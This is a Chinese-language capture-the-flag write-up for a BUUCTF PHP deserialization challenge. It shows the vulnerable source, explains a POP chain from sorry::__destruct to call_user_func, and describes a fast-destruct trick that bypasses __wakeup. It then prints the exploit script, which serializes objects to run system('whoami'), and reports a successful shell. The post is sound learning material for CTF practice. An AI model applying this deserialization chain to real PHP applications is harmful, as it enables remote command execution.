本文最后更新于：2024年12月28日 晚上
从buu十月赛学到点东西，废话不多说
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| <?php
highlight_file(__FILE__);
error_reporting(0);
class fine
{
private $cmd;
private $content;
public function __construct($cmd, $content)
{
$this->cmd = $cmd;
$this->content = $content;
}
public function __invoke()
{
call_user_func($this->cmd, $this->content);
}
public function __wakeup()
{
$this->cmd = "";
die("Go listen to Jay Chou's secret-code! Really nice");
}
}
class show
{
public $ctf;
public $time = "Two and a half years";
public function __construct($ctf)
{
$this->ctf = $ctf;
}
public function __toString()
{
return $this->ctf->show();
}
public function show(): string
{
return $this->ctf . ": Duration of practice: " . $this->time;
}
}
class sorry
{
private $name;
private $password;
public $hint = "hint is depend on you";
public $key;
public function __construct($name, $password)
{
$this->name = $name;
$this->password = $password;
}
public function __sleep()
{
$this->hint = new secret_code();
}
public function __get($name)
{
$name = $this->key;
$name();
}
public function __destruct()
{
if ($this->password == $this->name) {
echo $this->hint;
} else if ($this->name = "jay") {
secret_code::secret();
} else {
echo "This is our code";
}
}
public function getPassword()
{
return $this->password;
}
public function setPassword($password): void
{
$this->password = $password;
}
}
class secret_code
{
protected $code;
public static function secret()
{
include_once "hint.php";
hint();
}
public function __call($name, $arguments)
{
$num = $name;
$this->$num();
}
private function show()
{
return $this->code->secret;
}
}
if (isset($_GET['pop'])) {
$a = unserialize($_GET['pop']);
$a->setPassword(md5(mt_rand()));
} else {
$a = new show("Ctfer");
echo $a->show();
}
|
题目代码如上
来逆向进行分析构造
首先看到目标函数在fine类的call_user_func()，这里需要invoke，跟进到sorry的get，跟进到secret_code的show，这里要想办法连到这个show，看到show类会调用show函数，再寻找使用字符串的地方，发现sorry类的destruct可以把hint当作字符串输出。
但是这里的fine类要求绕过wakeup，观察了一下php版本，常见的方法并不适用，但是此时fine类位于pop链的末尾，所以可以使用强制gc来实现提前销毁，也就是说还没吊用wakeup就已经销毁吊用destruct，改变了正常反序列化的顺序。
由于强制gc，底下的设置密码已经对我们无关紧要了，只要在序列化的时候让name=pass就可以了
关于强制gc的原理这篇文章做了一些介绍https://www.sohu.com/a/487112177_121118996
关于fastdestruct的手法这篇有一些介绍https://mp.weixin.qq.com/s?__biz=MzIzMTQ4NzE2Ng==&mid=2247487933&idx=1&sn=e57bc3583c1b80f1aa7bd08409cfb82d
这里贴出我们构造的payload
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| <?php
class fine
{
private $cmd;
private $content;
public function __construct($cmd, $content)
{
$this->cmd = $cmd;
$this->content = $content;
}
public function __invoke()
{
call_user_func($this->cmd, $this->content);
}
public function __wakeup()
{
$this->cmd = "";
die("Go listen to Jay Chou's secret-code! Really nice");
}
}
class show
{
public $ctf;
public $time = "Two and a half years";
public function __construct($ctf)
{
$this->ctf = $ctf;
}
public function __toString()
{
return $this->ctf->show();
}
public function show(): string
{
return $this->ctf . ": Duration of practice: " . $this->time;
}
}
class sorry
{
private $name;
private $password;
public $hint;
public $key;
public function __construct($name, $password,$hint,$key)
{
$this->name = $name;
$this->password = $password;
$this->hint = $hint;
$this->key = $key;
}
public function __get($name)
{
$name = $this->key;
$name();
}
public function __destruct()
{
if ($this->password == $this->name) {
echo $this->hint;
} else if ($this->name = "jay") {
secret_code::secret();
} else {
echo "This is our code";
}
}
public function getPassword()
{
return $this->password;
}
public function setPassword($password): void
{
$this->password = $password;
}
}
class secret_code
{
protected $code;
public function __construct($code)
{
$this->code = $code;
}
public static function secret()
{
include_once "hint.php";
hint();
}
public function __call($name, $arguments)
{
$num = $name;
$this->$num();
}
private function show()
{
return $this->code->secret;
}
}
$fine = new fine("system","whoami");
$sorry1 = new sorry("1","1","1",$fine);
$secret = new secret_code($sorry1);
$show = new show($secret);
$sorry2 = new sorry("1","1",$show,"");
echo urlencode(serialize($sorry2));
|
去掉最后一个大括号进行强制gc，成功getshell。